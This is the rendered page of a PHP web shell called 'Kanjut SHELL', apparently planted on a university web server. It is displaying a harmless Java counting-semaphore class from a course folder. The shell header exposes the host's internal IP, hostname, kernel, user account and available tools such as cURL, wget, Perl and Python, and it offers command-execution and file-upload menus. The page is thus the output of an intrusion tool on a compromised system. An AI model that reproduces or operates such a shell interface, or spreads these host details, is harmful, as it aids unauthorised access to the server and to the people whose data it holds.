Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.136.23.132
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/thchang/cs440/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/thchang/cs440/Semaphore.java
/**
 *	 P.308
 *	 Semaphore.java
 *
 * A basic counting semaphore using Java synchronization.
 */

public class Semaphore
{
   private int s;
   public Semaphore(int value) {
      this.s = value;
   }
   public synchronized void P() {
      while (s == 0) {
         try {
            wait();
         }
         catch (InterruptedException e) { }
      }
      s --;
   }
   public synchronized void V() {
      ++s;
      notify();
   }
}


Stv3n404 - 2023